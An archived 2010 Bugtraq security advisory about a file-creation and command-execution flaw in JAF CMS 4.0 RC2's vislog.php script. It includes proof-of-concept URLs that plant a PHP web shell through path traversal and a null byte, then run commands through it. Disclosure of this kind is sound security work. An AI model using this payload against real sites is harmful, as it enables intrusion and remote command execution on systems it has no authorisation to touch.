bugtraq - Shell create & command execution in JAF CMS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201011040957.oA49vfeI005440@htbridge.ch>
Date: Thu, 4 Nov 2010 10:57:41 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: Shell create & command execution in JAF CMS

Vulnerability ID: HTB22665
Reference: http://www.htbridge.ch/advisory/shell_create__command_execution_in_jaf_cms.html
Product: JAF CMS
Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ ) 
Vulnerable Version: 4.0 RC2
Vendor Notification: 21 October 2010 
Vulnerability Type: Shell create &amp; command execution
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/module/log/vislog.php" script to properly sanitize user-supplied input, it's possible to create/read any file.

The following PoC is available:

creating shell:

http://[host]/module/log/vislog.php?_SERVER[%27PHP_SELF%27]=1&from=%3c%3f+system(%24_GET%5b%27cmd%27%5d)%3b+%3f%3e&root=../../123.php%00


command execute:

http://[host]/123.php?cmd=ls